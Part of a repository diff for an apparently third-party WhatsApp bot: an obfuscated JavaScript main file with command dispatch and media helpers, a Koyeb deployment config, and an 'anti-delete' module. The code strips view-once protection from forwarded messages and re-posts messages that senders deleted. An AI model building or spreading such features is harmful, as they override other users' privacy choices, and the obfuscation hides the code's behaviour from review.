_0x3451bb=(config['CUSTOM_REACT_EMOJIS']||_0x50c532(0x201))[_0x50c532(0x25d)](','),_0x56639e=_0x3451bb[Math[_0x50c532(0x1ae)](Math[_0x50c532(0x1db)]()*_0x3451bb[_0x50c532(0x25c)])];_0x1a54cd[_0x50c532(0x36c)](_0x56639e);}}if(!_0x4d6166&&config['MODE']===_0x50c532(0x2ad))return;if(!_0x4d6166&&_0x49325c&&config[_0x50c532(0x1c5)]===_0x50c532(0x1e3))return;if(!_0x4d6166&&!_0x49325c&&config['MODE']===_0x50c532(0x1d5))return;const _0x433e45=require('./command'),_0x4c9d0e=_0x53c320?_0x1b47c5['slice'](0x1)['trim']()[_0x50c532(0x25d)]('\x20')[0x0]['toLowerCase']():![];if(_0x53c320){const _0x308e34=_0x433e45[_0x50c532(0x1cd)][_0x50c532(0x346)](_0x3d98de=>_0x3d98de[_0x50c532(0x2bc)]===_0x4c9d0e)||_0x433e45[_0x50c532(0x1cd)][_0x50c532(0x346)](_0x47dd9d=>_0x47dd9d[_0x50c532(0x29f)]&&_0x47dd9d[_0x50c532(0x29f)]['includes'](_0x4c9d0e));if(_0x308e34){if(_0x308e34['react'])_0x56ac80['sendMessage'](_0x46dd61,{'react':{'text':_0x308e34['react'],'key':_0x1c9732[_0x50c532(0x2f1)]}});try{_0x308e34[_0x50c532(0x1f0)](_0x56ac80,_0x1c9732,_0x1a54cd,{'from':_0x46dd61,'quoted':_0x2fc166,'body':_0x1b47c5,'isCmd':_0x53c320,'command':_0x25f21a,'args':_0x4fffba,'q':_0x5e3711,'text':_0x15654b,'isGroup':_0x49325c,'sender':_0x2860ef,'senderNumber':_0x1e3d4b,'botNumber2':_0x18ac53,'botNumber':_0x55fcd1,'pushname':_0x39f335,'isMe':_0x112cec,'isOwner':_0x4d6166,'isCreator':_0xd24548,'groupMetadata':_0x327db9,'groupName':_0x4fa895,'participants':_0xc5c331,'groupAdmins':_0x2e4f3d,'isBotAdmins':_0xad31a4,'isAdmins':_0x12f8fb,'reply':_0x4d7b2f});}catch(_0x344fa2){console['error'](_0x50c532(0x29b)+_0x344fa2);}}}_0x433e45[_0x50c532(0x1cd)]['map'](async _0x290b44=>{const _0x58da92=_0x50c532;if(_0x1b47c5&&_0x290b44['on']===_0x58da92(0x244))_0x290b44['function'](_0x56ac80,_0x1c9732,_0x1a54cd,{'from':_0x46dd61,'l':l,'quoted':_0x2fc166,'body':_0x1b47c5,'isCmd':_0x53c320,'command':_0x290b44,'args':_0x4fffba,'q':_0x5e3711,'text':_0x15654b,'isGroup':_0x49325c,'sender':_0x2860ef,'senderNumber':_0x1e3d4b,'botNumber2':_0x18ac53,'botNumber':_0x55fcd1,'pushname':_0x39f335,'isMe':_0x112cec,'isOwner':_0x4d6166,'isCreator':_0xd24548,'groupMetadata':_0x327db9,'groupName':_0x4fa895,'participants':_0xc5c331,'groupAdmins':_0x2e4f3d,'isBotAdmins':_0xad31a4,'isAdmins':_0x12f8fb,'reply':_0x4d7b2f});else{if(_0x1c9732['q']&&_0x290b44['on']==='text')_0x290b44['function'](_0x56ac80,_0x1c9732,_0x1a54cd,{'from':_0x46dd61,'l':l,'quoted':_0x2fc166,'body':_0x1b47c5,'isCmd':_0x53c320,'command':_0x290b44,'args':_0x4fffba,'q':_0x5e3711,'text':_0x15654b,'isGroup':_0x49325c,'sender':_0x2860ef,'senderNumber':_0x1e3d4b,'botNumber2':_0x18ac53,'botNumber':_0x55fcd1,'pushname':_0x39f335,'isMe':_0x112cec,'isOwner':_0x4d6166,'isCreator':_0xd24548,'groupMetadata':_0x327db9,'groupName':_0x4fa895,'participants':_0xc5c331,'groupAdmins':_0x2e4f3d,'isBotAdmins':_0xad31a4,'isAdmins':_0x12f8fb,'reply':_0x4d7b2f});else{if((_0x290b44['on']===_0x58da92(0x23b)||_0x290b44['on']===_0x58da92(0x2f3))&&_0x1c9732[_0x58da92(0x1b3)]==='imageMessage')_0x290b44[_0x58da92(0x1f0)](_0x56ac80,_0x1c9732,_0x1a54cd,{'from':_0x46dd61,'l':l,'quoted':_0x2fc166,'body':_0x1b47c5,'isCmd':_0x53c320,'command':_0x290b44,'args':_0x4fffba,'q':_0x5e3711,'text':_0x15654b,'isGroup':_0x49325c,'sender':_0x2860ef,'senderNumber':_0x1e3d4b,'botNumber2':_0x18ac53,'botNumber':_0x55fcd1,'pushname':_0x39f335,'isMe':_0x112cec,'isOwner':_0x4d6166,'isCreator':_0xd24548,'groupMetadata':_0x327db9,'groupName':_0x4fa895,'participants':_0xc5c331,'groupAdmins':_0x2e4f3d,'isBotAdmins':_0xad31a4,'isAdmins':_0x12f8fb,'reply':_0x4d7b2f});else _0x290b44['on']===_0x58da92(0x222)&&_0x1c9732[_0x58da92(0x1b3)]===_0x58da92(0x2c3)&&_0x290b44['function'](_0x56ac80,_0x1c9732,_0x1a54cd,{'from':_0x46dd61,'l':l,'quoted':_0x2fc166,'body':_0x1b47c5,'isCmd':_0x53c320,'command':_0x290b44,'args':_0x4fffba,'q':_0x5e3711,'text':_0x15654b,'isGroup':_0x49325c,'sender':_0x2860ef,'senderNumber':_0x1e3d4b,'botNumber2':_0x18ac53,'botNumber':_0x55fcd1,'pushname':_0x39f335,'isMe':_0x112cec,'isOwner':_0x4d6166,'isCreator':_0xd24548,'groupMetadata':_0x327db9,'groupName':_0x4fa895,'participants':_0xc5c331,'groupAdmins':_0x2e4f3d,'isBotAdmins':_0xad31a4,'isAdmins':_0x12f8fb,'reply':_0x4d7b2f});}}});}),_0x56ac80[_0x4fa459(0x1c0)]=_0x328d79=>{const _0x49515d=_0x4fa459;if(!_0x328d79)return _0x328d79;if(/:\d+@/gi[_0x49515d(0x1e2)](_0x328d79)){let _0x3c31d4=jidDecode(_0x328d79)||{};return _0x3c31d4[_0x49515d(0x230)]&&_0x3c31d4[_0x49515d(0x2bb)]&&_0x3c31d4[_0x49515d(0x230)]+'@'+_0x3c31d4[_0x49515d(0x2bb)]||_0x328d79;}else return _0x328d79;},_0x56ac80[_0x4fa459(0x34d)]=async(_0x54cb85,_0x743039,_0xebfac2=![],_0x507411={})=>{const _0x4e4a72=_0x4fa459;let _0x43aeee;_0x507411[_0x4e4a72(0x2f2)]&&(_0x743039['message']=_0x743039[_0x4e4a72(0x1e7)]&&_0x743039[_0x4e4a72(0x1e7)]['ephemeralMessage']&&_0x743039[_0x4e4a72(0x1e7)]['ephemeralMessage'][_0x4e4a72(0x1e7)]?_0x743039[_0x4e4a72(0x1e7)]['ephemeralMessage'][_0x4e4a72(0x1e7)]:_0x743039[_0x4e4a72(0x1e7)]||undefined,_0x43aeee=Object['keys'](_0x743039[_0x4e4a72(0x1e7)]['viewOnceMessage'][_0x4e4a72(0x1e7)])[0x0],delete(_0x743039[_0x4e4a72(0x1e7)]&&_0x743039[_0x4e4a72(0x1e7)]['ignore']?_0x743039[_0x4e4a72(0x1e7)]['ignore']:_0x743039[_0x4e4a72(0x1e7)]||undefined),delete _0x743039[_0x4e4a72(0x1e7)][_0x4e4a72(0x2a6)][_0x4e4a72(0x1e7)][_0x43aeee][_0x4e4a72(0x332)],_0x743039[_0x4e4a72(0x1e7)]={..._0x743039[_0x4e4a72(0x1e7)]['viewOnceMessage'][_0x4e4a72(0x1e7)]});let _0x2f6631=Object['keys'](_0x743039[_0x4e4a72(0x1e7)])[0x0],_0x1749e8=await generateForwardMessageContent(_0x743039,_0xebfac2),_0x199677=Object['keys'](_0x1749e8)[0x0],_0x52cc32={};if(_0x2f6631!=_0x4e4a72(0x23c))_0x52cc32=_0x743039['message'][_0x2f6631][_0x4e4a72(0x2d9)];_0x1749e8[_0x199677][_0x4e4a72(0x2d9)]={..._0x52cc32,..._0x1749e8[_0x199677][_0x4e4a72(0x2d9)]};const _0x2786a1=await generateWAMessageFromContent(_0x54cb85,_0x1749e8,_0x507411?{..._0x1749e8[_0x199677],..._0x507411,..._0x507411['contextInfo']?{'contextInfo':{..._0x1749e8[_0x199677][_0x4e4a72(0x2d9)],..._0x507411[_0x4e4a72(0x2d9)]}}:{}}:{});return await _0x56ac80[_0x4e4a72(0x2ef)](_0x54cb85,_0x2786a1['message'],{'messageId':_0x2786a1[_0x4e4a72(0x2f1)]['id']}),_0x2786a1;},_0x56ac80[_0x4fa459(0x2df)]=async(_0x4ce9ca,_0x1bc44d,_0x390be2=!![])=>{const _0x497f89=_0x4fa459;let _0x3ca1cc=_0x4ce9ca['msg']?_0x4ce9ca[_0x497f89(0x2e2)]:_0x4ce9ca,_0x34e298=(_0x4ce9ca[_0x497f89(0x2e2)]||_0x4ce9ca)[_0x497f89(0x2ff)]||'',_0x4a4bdf=_0x4ce9ca[_0x497f89(0x31f)]?_0x4ce9ca[_0x497f89(0x31f)][_0x497f89(0x35e)](/Message/gi,''):_0x34e298[_0x497f89(0x25d)]('/')[0x0];const _0x3e2cfa=await downloadContentFromMessage(_0x3ca1cc,_0x4a4bdf);let _0x5e742e=Buffer['from']([]);for await(const _0xa4b22e of _0x3e2cfa){_0x5e742e=Buffer[_0x497f89(0x2bf)]([_0x5e742e,_0xa4b22e]);}let _0xbc2359=await FileType['fromBuffer'](_0x5e742e);return trueFileName=_0x390be2?_0x1bc44d+'.'+_0xbc2359[_0x497f89(0x376)]:_0x1bc44d,await fs[_0x497f89(0x287)](trueFileName,_0x5e742e),trueFileName;},_0x56ac80[_0x4fa459(0x33c)]=async _0x160af2=>{const _0x2ce932=_0x4fa459;let _0x94bc2b=(_0x160af2[_0x2ce932(0x2e2)]||_0x160af2)[_0x2ce932(0x2ff)]||'',_0x31ff40=_0x160af2[_0x2ce932(0x31f)]?_0x160af2['mtype'][_0x2ce932(0x35e)](/Message/gi,''):_0x94bc2b[_0x2ce932(0x25d)]('/')[0x0];const _0x36436c=await downloadContentFromMessage(_0x160af2,_0x31ff40);let _0x3f0c35=Buffer[_0x2ce932(0x241)]([]);for await(const _0x229309 of _0x36436c){_0x3f0c35=Buffer[_0x2ce932(0x2bf)]([_0x3f0c35,_0x229309]);}return _0x3f0c35;},_0x56ac80['sendFileUrl']=async(_0x226d84,_0x365a17,_0x56caa4,_0x2ce5ca,_0x2ff653={})=>{const _0x326e52=_0x4fa459;let _0x5d4a08='',_0x261751=await axios[_0x326e52(0x1aa)](_0x365a17);_0x5d4a08=_0x261751[_0x326e52(0x2a7)][_0x326e52(0x22c)];if(_0x5d4a08[_0x326e52(0x25d)]('/')[0x1]===_0x326e52(0x1b2))return _0x56ac80[_0x326e52(0x276)](_0x226d84,{'video':await getBuffer(_0x365a17),'caption':_0x56caa4,'gifPlayback':!![],..._0x2ff653},{'quoted':_0x2ce5ca,..._0x2ff653});let _0x4afd1b=_0x5d4a08['split']('/')[0x0]+_0x326e52(0x272);if(_0x5d4a08===_0x326e52(0x233))return _0x56ac80[_0x326e52(0x276)](_0x226d84,{'document':await getBuffer(_0x365a17),'mimetype':'application/pdf','caption':_0x56caa4,..._0x2ff653},{'quoted':_0x2ce5ca,..._0x2ff653});if(_0x5d4a08[_0x326e52(0x25d)]('/')[0x0]==='image')return _0x56ac80['sendMessage'](_0x226d84,{'image':await getBuffer(_0x365a17),'caption':_0x56caa4,..._0x2ff653},{'quoted':_0x2ce5ca,..._0x2ff653});if(_0x5d4a08[_0x326e52(0x25d)]('/')[0x0]===_0x326e52(0x225))return _0x56ac80['sendMessage'](_0x226d84,{'video':await getBuffer(_0x365a17),'caption':_0x56caa4,'mimetype':'video/mp4',..._0x2ff653},{'quoted':_0x2ce5ca,..._0x2ff653});if(_0x5d4a08[_0x326e52(0x25d)]('/')[0x0]==='audio')return _0x56ac80[_0x326e52(0x276)](_0x226d84,{'audio':await getBuffer(_0x365a17),'caption':_0x56caa4,'mimetype':'audio/mpeg',..._0x2ff653},{'quoted':_0x2ce5ca,..._0x2ff653});},_0x56ac80['cMod']=(_0x260a5b,_0x1315eb,_0x35974a='',_0x244358=_0x56ac80['user']['id'],_0x598b79={})=>{const _0x220eb7=_0x4fa459;let _0x474fb=Object['keys'](_0x1315eb[_0x220eb7(0x1e7)])[0x0],_0x2f1f2c=_0x474fb===_0x220eb7(0x202);_0x2f1f2c&&(_0x474fb=Object[_0x220eb7(0x341)](_0x1315eb['message'][_0x220eb7(0x202)][_0x220eb7(0x1e7)])[0x0]);let _0x1b6f6b=_0x2f1f2c?_0x1315eb[_0x220eb7(0x1e7)][_0x220eb7(0x202)]['message']:_0x1315eb['message'],_0x430d3b=_0x1b6f6b[_0x474fb];if(typeof _0x430d3b===_0x220eb7(0x2b7))_0x1b6f6b[_0x474fb]=_0x35974a||_0x430d3b;else{if(_0x430d3b[_0x220eb7(0x1ca)])_0x430d3b[_0x220eb7(0x1ca)]=_0x35974a||_0x430d3b['caption'];else{if(_0x430d3b[_0x220eb7(0x314)])_0x430d3b[_0x220eb7(0x314)]=_0x35974a||_0x430d3b[_0x220eb7(0x314)];}}if(typeof _0x430d3b!==_0x220eb7(0x2b7))_0x1b6f6b[_0x474fb]={..._0x430d3b,..._0x598b79};if(_0x1315eb[_0x220eb7(0x2f1)][_0x220eb7(0x21b)])_0x244358=_0x1315eb[_0x220eb7(0x2f1)]['participant']=_0x244358||_0x1315eb[_0x220eb7(0x2f1)][_0x220eb7(0x21b)];else{if(_0x1315eb[_0x220eb7(0x2f1)]['participant'])_0x244358=_0x1315eb['key']['participant']=_0x244358||_0x1315eb[_0x220eb7(0x2f1)]['participant'];}if(_0x1315eb['key'][_0x220eb7(0x340)][_0x220eb7(0x22b)](_0x220eb7(0x27a)))_0x244358=_0x244358||_0x1315eb[_0x220eb7(0x2f1)][_0x220eb7(0x340)];else{if(_0x1315eb[_0x220eb7(0x2f1)]['remoteJid'][_0x220eb7(0x22b)]('@broadcast'))_0x244358=_0x244358||_0x1315eb['key'][_0x220eb7(0x340)];}return _0x1315eb[_0x220eb7(0x2f1)][_0x220eb7(0x340)]=_0x260a5b,_0x1315eb['key'][_0x220eb7(0x2fd)]=_0x244358===_0x56ac80['user']['id'],proto['WebMessageInfo']['fromObject'](_0x1315eb);},_0x56ac80[_0x4fa459(0x273)]=async(_0x1d7bd8,_0x1cb8cb)=>{const _0x356997=_0x4fa459;let _0x56ee37,_0x3cd4f3=Buffer[_0x356997(0x30d)](_0x1d7bd8)?_0x1d7bd8:/^data:.*?\/.*?;base64,/i['test'](_0x1d7bd8)?Buffer['from'](_0x1d7bd8[_0x356997(0x25d)]`,`[0x1],_0x356997(0x334)):/^https?:\/\//[_0x356997(0x1e2)](_0x1d7bd8)?await(_0x56ee37=await getBuffer(_0x1d7bd8)):fs[_0x356997(0x221)](_0x1d7bd8)?(_0x3626bd=_0x1d7bd8,fs[_0x356997(0x33e)](_0x1d7bd8)):typeof _0x1d7bd8===_0x356997(0x2b7)?_0x1d7bd8:Buffer[_0x356997(0x2ae)](0x0),_0x4503bb=await FileType[_0x356997(0x1de)](_0x3cd4f3)||{'mime':_0x356997(0x358),'ext':_0x356997(0x1d6)},_0x3626bd=path[_0x356997(0x30f)](__filename,__dirname+new Date()*0x1+'.'+_0x4503bb[_0x356997(0x376)]);if(_0x3cd4f3&&_0x1cb8cb)fs[_0x356997(0x1cb)][_0x356997(0x215)](_0x3626bd,_0x3cd4f3);return{'res':_0x56ee37,'filename':_0x3626bd,'size':await getSizeMedia(_0x3cd4f3),..._0x4503bb,'data':_0x3cd4f3};},_0x56ac80['sendFile']=async(_0x58e43e,_0x29ee3d,_0x216773,_0x558f36={},_0x33c1ba={})=>{const _0x1f398d=_0x4fa459;let _0x28acc=await _0x56ac80[_0x1f398d(0x273)](_0x29ee3d,!![]),{filename:_0x2e6bfc,size:_0x4804b8,ext:_0x1e0d5d,mime:_0x21e210,data:_0xef1c55}=_0x28acc,_0x33e4fb='',_0x144b72=_0x21e210,_0xe45e44=_0x2e6bfc;if(_0x33c1ba[_0x1f398d(0x231)])_0x33e4fb=_0x1f398d(0x31e);if(_0x33c1ba['asSticker']||/webp/[_0x1f398d(0x1e2)](_0x21e210)){let {writeExif:_0x3be1c4}=require(_0x1f398d(0x255)),_0x15b25a={'mimetype':_0x21e210,'data':_0xef1c55};_0xe45e44=await _0x3be1c4(_0x15b25a,{'packname':Config[_0x1f398d(0x1f7)],'author':Config[_0x1f398d(0x1f7)],'categories':_0x33c1ba['categories']?_0x33c1ba['categories']:[]}),await fs[_0x1f398d(0x1cb)]['unlink'](_0x2e6bfc),_0x33e4fb=_0x1f398d(0x222),_0x144b72=_0x1f398d(0x24a);}else{if(/image/[_0x1f398d(0x1e2)](_0x21e210))_0x33e4fb=_0x1f398d(0x23b);else{if(/video/['test'](_0x21e210))_0x33e4fb=_0x1f398d(0x225);else{if(/audio/[_0x1f398d(0x1e2)](_0x21e210))_0x33e4fb=_0x1f398d(0x2ea);else _0x33e4fb=_0x1f398d(0x31e);}}}return await _0x56ac80[_0x1f398d(0x276)](_0x58e43e,{[_0x33e4fb]:{'url':_0xe45e44},'mimetype':_0x144b72,'fileName':_0x216773,..._0x33c1ba},{'quoted':_0x558f36,..._0x33c1ba}),fs[_0x1f398d(0x1cb)][_0x1f398d(0x23d)](_0xe45e44);},_0x56ac80[_0x4fa459(0x325)]=async _0x1b273d=>{const _0x2a6335=_0x4fa459;return[..._0x1b273d[_0x2a6335(0x2cd)](/@([0-9]{5,16}|0)/g)][_0x2a6335(0x1bb)](_0x16a4b2=>_0x16a4b2[0x1]+'@s.whatsapp.net');},_0x56ac80['sendMedia']=async(_0x541f70,_0x4b0fd5,_0x1c83df='',_0x47f353='',_0xbf4d98='',_0x5c92d6={})=>{const _0x15832c=_0x4fa459;let _0x4169c6=await _0x56ac80[_0x15832c(0x273)](_0x4b0fd5,!![]),{mime:_0x25bed3,ext:_0x1b2e39,res:_0x50472c,data:_0x3f355b,filename:_0x108ae2}=_0x4169c6;if(_0x50472c&&_0x50472c[_0x15832c(0x22f)]!==0xc8||file[_0x15832c(0x25c)]<=0x10000)try{throw{'json':JSON[_0x15832c(0x216)](file['toString']())};}catch(_0x166c6a){if(_0x166c6a['json'])throw _0x166c6a['json'];}let _0x26e27d='',_0x4e9e30=_0x25bed3,_0x4a7730=_0x108ae2;if(_0x5c92d6[_0x15832c(0x231)])_0x26e27d='document';if(_0x5c92d6[_0x15832c(0x1e1)]||/webp/[_0x15832c(0x1e2)](_0x25bed3)){let {writeExif:_0x34942b}=require(_0x15832c(0x1df)),_0x303892={'mimetype':_0x25bed3,'data':_0x3f355b};_0x4a7730=await _0x34942b(_0x303892,{'packname':_0x5c92d6[_0x15832c(0x1f7)]?_0x5c92d6[_0x15832c(0x1f7)]:Config['packname'],'author':_0x5c92d6[_0x15832c(0x1a8)]?_0x5c92d6['author']:Config['author'],'categories':_0x5c92d6[_0x15832c(0x294)]?_0x5c92d6[_0x15832c(0x294)]:[]}),await fs[_0x15832c(0x1cb)][_0x15832c(0x23d)](_0x108ae2),_0x26e27d='sticker',_0x4e9e30='image/webp';}else{if(/image/['test'](_0x25bed3))_0x26e27d='image';else{if(/video/[_0x15832c(0x1e2)](_0x25bed3))_0x26e27d=_0x15832c(0x225);else{if(/audio/[_0x15832c(0x1e2)](_0x25bed3))_0x26e27d=_0x15832c(0x2ea);else _0x26e27d=_0x15832c(0x31e);}}}return await _0x56ac80[_0x15832c(0x276)](_0x541f70,{[_0x26e27d]:{'url':_0x4a7730},'caption':_0x47f353,'mimetype':_0x4e9e30,'fileName':_0x1c83df,..._0x5c92d6},{'quoted':_0xbf4d98,..._0x5c92d6}),fs[_0x15832c(0x1cb)][_0x15832c(0x23d)](_0x4a7730);},_0x56ac80['sendVideoAsSticker']=async(_0x9d2398,_0xab86a1,_0x16bcd2={})=>{const _0x25332b=_0x4fa459;let _0x4faa95;_0x16bcd2&&(_0x16bcd2[_0x25332b(0x1f7)]||_0x16bcd2['author'])?_0x4faa95=await writeExifVid(_0xab86a1,_0x16bcd2):_0x4faa95=await videoToWebp(_0xab86a1),await _0x56ac80[_0x25332b(0x276)](_0x9d2398,{'sticker':{'url':_0x4faa95},..._0x16bcd2},_0x16bcd2);},_0x56ac80[_0x4fa459(0x2ab)]=async(_0x42210a,_0x377c59,_0x4daafa={})=>{const _0x407886=_0x4fa459;let _0xb57ad8;_0x4daafa&&(_0x4daafa[_0x407886(0x1f7)]||_0x4daafa[_0x407886(0x1a8)])?_0xb57ad8=await writeExifImg(_0x377c59,_0x4daafa):_0xb57ad8=await imageToWebp(_0x377c59),await _0x56ac80[_0x407886(0x276)](_0x42210a,{'sticker':{'url':_0xb57ad8},..._0x4daafa},_0x4daafa);},_0x56ac80[_0x4fa459(0x342)]=async(_0x526fb3,_0x52244d,_0x30b86b,_0x180bfe={})=>_0x56ac80['sendMessage'](_0x526fb3,{'text':_0x52244d,'contextInfo':{'mentionedJid':[..._0x52244d['matchAll'](/@(\d{0,16})/g)][_0x4fa459(0x1bb)](_0x4a402f=>_0x4a402f[0x1]+_0x4fa459(0x27a))},..._0x180bfe},{'quoted':_0x30b86b}),_0x56ac80[_0x4fa459(0x351)]=async(_0x17b990,_0x32f36b,_0x3f70e7='',_0x5d221a='',_0x527c09)=>{const _0x42d15c=_0x4fa459;let _0x5e2bef=Buffer[_0x42d15c(0x30d)](_0x32f36b)?_0x32f36b:/^data:.*?\/.*?;base64,/i[_0x42d15c(0x1e2)](_0x32f36b)?Buffer[_0x42d15c(0x241)](_0x32f36b[_0x42d15c(0x25d)]`,`[0x1],_0x42d15c(0x334)):/^https?:\/\//[_0x42d15c(0x1e2)](_0x32f36b)?await await getBuffer(_0x32f36b):fs['existsSync'](_0x32f36b)?fs[_0x42d15c(0x33e)](_0x32f36b):Buffer[_0x42d15c(0x2ae)](0x0);return await _0x56ac80[_0x42d15c(0x276)](_0x17b990,{'image':_0x5e2bef,'caption':_0x3f70e7,..._0x527c09},{'quoted':_0x5d221a});},_0x56ac80['sendText']=(_0x3e0bfb,_0x5b5c0d,_0x152799='',_0x490e94)=>_0x56ac80['sendMessage'](_0x3e0bfb,{'text':_0x5b5c0d,..._0x490e94},{'quoted':_0x152799}),_0x56ac80[_0x4fa459(0x343)]=(_0x5a68a2,_0x2b97ee=[],_0x420363,_0x548e99,_0x389e15='',_0x19a880={})=>{const _0x4e64e9=_0x4fa459;let _0x364786={'text':_0x420363,'footer':_0x548e99,'buttons':_0x2b97ee,'headerType':0x2,..._0x19a880};_0x56ac80[_0x4e64e9(0x276)](_0x5a68a2,_0x364786,{'quoted':_0x389e15,..._0x19a880});},_0x56ac80[_0x4fa459(0x306)]=async(_0x3f6868,_0x428734='',_0x50be69='',_0x31b63b,_0x32be5a=[],_0x181a8a,_0x17ca1d={})=>{const _0x3be338=_0x4fa459;let _0x5588eb=await prepareWAMessageMedia({'image':_0x31b63b,'jpegThumbnail':_0x181a8a},{'upload':_0x56ac80['waUploadToServer']});var _0x3ccb16=generateWAMessageFromContent(_0x3f6868,proto['Message'][_0x3be338(0x223)]({'templateMessage':{'hydratedTemplate':{'imageMessage':_0x5588eb[_0x3be338(0x1fa)],'hydratedContentText':_0x428734,'hydratedFooterText':_0x50be69,'hydratedButtons':_0x32be5a}}}),_0x17ca1d);_0x56ac80[_0x3be338(0x2ef)](_0x3f6868,_0x3ccb16[_0x3be338(0x1e7)],{'messageId':_0x3ccb16['key']['id']});},_0x56ac80[_0x4fa459(0x375)]=(_0x14161f,_0xa37fb8=![])=>{const _0x1c70b6=_0x4fa459;id=_0x56ac80['decodeJid'](_0x14161f),_0xa37fb8=_0x56ac80[_0x1c70b6(0x1b4)]||_0xa37fb8;let _0x46760b;if(id[_0x1c70b6(0x1cf)](_0x1c70b6(0x212)))return new Promise(async _0x5c1460=>{const _0x411a1f=_0x1c70b6;_0x46760b=store[_0x411a1f(0x245)][id]||{};if(!(_0x46760b['name'][_0x411a1f(0x37e)]||_0x46760b[_0x411a1f(0x237)]))_0x46760b=_0x56ac80[_0x411a1f(0x1a5)](id)||{};_0x5c1460(_0x46760b[_0x411a1f(0x2f7)]||_0x46760b[_0x411a1f(0x237)]||PhoneNumber('+'+id[_0x411a1f(0x35e)](_0x411a1f(0x27a),''))[_0x411a1f(0x2fa)](_0x411a1f(0x1f2)));});else _0x46760b=id===_0x1c70b6(0x377)?{'id':id,'name':_0x1c70b6(0x22d)}:id===_0x56ac80[_0x1c70b6(0x1c0)](_0x56ac80[_0x1c70b6(0x230)]['id'])?_0x56ac80[_0x1c70b6(0x230)]:store[_0x1c70b6(0x245)][id]||{};return(_0xa37fb8?'':_0x46760b[_0x1c70b6(0x2f7)])||_0x46760b[_0x1c70b6(0x237)]||_0x46760b['verifiedName']||PhoneNumber('+'+_0x14161f['replace'](_0x1c70b6(0x27a),''))[_0x1c70b6(0x2fa)](_0x1c70b6(0x1f2));},_0x56ac80[_0x4fa459(0x277)]=async(_0x34d486,_0x454f3d,_0x30cf68='',_0x161fca={})=>{const _0x5d19ce=_0x4fa459;let _0x360539=[];for(let _0x1b5848 of _0x454f3d){_0x360539['push']({'displayName':await _0x56ac80[_0x5d19ce(0x375)](_0x1b5848+_0x5d19ce(0x27a)),'vcard':_0x5d19ce(0x2e8)+await _0x56ac80['getName'](_0x1b5848+_0x5d19ce(0x27a))+_0x5d19ce(0x2c4)+global['OwnerName']+_0x5d19ce(0x26d)+_0x1b5848+':'+_0x1b5848+_0x5d19ce(0x32c)+global[_0x5d19ce(0x2f4)]+_0x5d19ce(0x1d0)+global[_0x5d19ce(0x1b8)]+_0x5d19ce(0x36f)+global[_0x5d19ce(0x31d)]+_0x5d19ce(0x243)});}_0x56ac80[_0x5d19ce(0x276)](_0x34d486,{'contacts':{'displayName':_0x360539[_0x5d19ce(0x25c)]+_0x5d19ce(0x1fc),'contacts':_0x360539},..._0x161fca},{'quoted':_0x30cf68});},_0x56ac80['setStatus']=_0x1428be=>{const _0x19b530=_0x4fa459;return _0x56ac80[_0x19b530(0x1b9)]({'tag':'iq','attrs':{'to':_0x19b530(0x27a),'type':_0x19b530(0x2af),'xmlns':_0x19b530(0x22f)},'content':[{'tag':'status','attrs':{},'content':Buffer[_0x19b530(0x241)](_0x1428be,'utf-8')}]}),_0x1428be;},_0x56ac80[_0x4fa459(0x1ed)]=_0x5ec48d=>sms(_0x56ac80,_0x5ec48d,store);}app[_0x301f9c(0x324)]('/',(_0x477fc7,_0x84f5fa)=>{const _0x5cd397=_0x301f9c;_0x84f5fa['send'](_0x5cd397(0x2ba));}),app[_0x301f9c(0x1dc)](port,()=>console[_0x301f9c(0x33d)]('Server\x20listening\x20on\x20port\x20http://localhost:'+port)),setTimeout(()=>{connectToWA();},0xfa0);
|
koyeb.yaml
ADDED
@@ -0,0 +1,17 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
name: ali-ai
|
2 |
+
services:
|
3 |
+
- name: ali-ai-service
|
4 |
+
type: web
|
5 |
+
ports:
|
6 |
+
- 5000
|
7 |
+
routes:
|
8 |
+
- path: "/"
|
9 |
+
build:
|
10 |
+
type: docker
|
11 |
+
dockerfile: ./Dockerfile
|
12 |
+
regions:
|
13 |
+
- fra
|
14 |
+
- sin
|
15 |
+
|
16 |
+
|
17 |
+
|
lib/antidel.js
ADDED
@@ -0,0 +1,89 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
const { isJidGroup } = require('@whiskeysockets/baileys');
|
2 |
+
const { loadMessage, getAnti } = require('../data');
|
3 |
+
const config = require('../config');
|
4 |
+
|
5 |
+
const DeletedText = async (conn, mek, jid, deleteInfo, isGroup, update) => {
|
6 |
+
const messageContent = mek.message?.conversation || mek.message?.extendedTextMessage?.text || 'Unknown content';
|
7 |
+
deleteInfo += `\n\n*💬ᴍᴇssᴀɢᴇ:* ${messageContent}`;
|
8 |
+
|
9 |
+
await conn.sendMessage(
|
10 |
+
jid,
|
11 |
+
{
|
12 |
+
text: deleteInfo,
|
13 |
+
contextInfo: {
|
14 |
+
mentionedJid: isGroup ? [update.key.participant, mek.key.participant] : [update.key.remoteJid],
|
15 |
+
},
|
16 |
+
},
|
17 |
+
{ quoted: mek },
|
18 |
+
);
|
19 |
+
};
|
20 |
+
|
21 |
+
const DeletedMedia = async (conn, mek, jid, deleteInfo) => {
|
22 |
+
const antideletedmek = structuredClone(mek.message);
|
23 |
+
const messageType = Object.keys(antideletedmek)[0];
|
24 |
+
if (antideletedmek[messageType]) {
|
25 |
+
antideletedmek[messageType].contextInfo = {
|
26 |
+
stanzaId: mek.key.id,
|
27 |
+
participant: mek.sender,
|
28 |
+
quotedMessage: mek.message,
|
29 |
+
};
|
30 |
+
}
|
31 |
+
if (messageType === 'imageMessage' || messageType === 'videoMessage') {
|
32 |
+
antideletedmek[messageType].caption = deleteInfo;
|
33 |
+
} else if (messageType === 'audioMessage' || messageType === 'documentMessage') {
|
34 |
+
await conn.sendMessage(jid, { text: `*🚨 Delete Detected!*\n\n${deleteInfo}` }, { quoted: mek });
|
35 |
+
}
|
36 |
+
await conn.relayMessage(jid, antideletedmek, {});
|
37 |
+
};
|
38 |
+
|
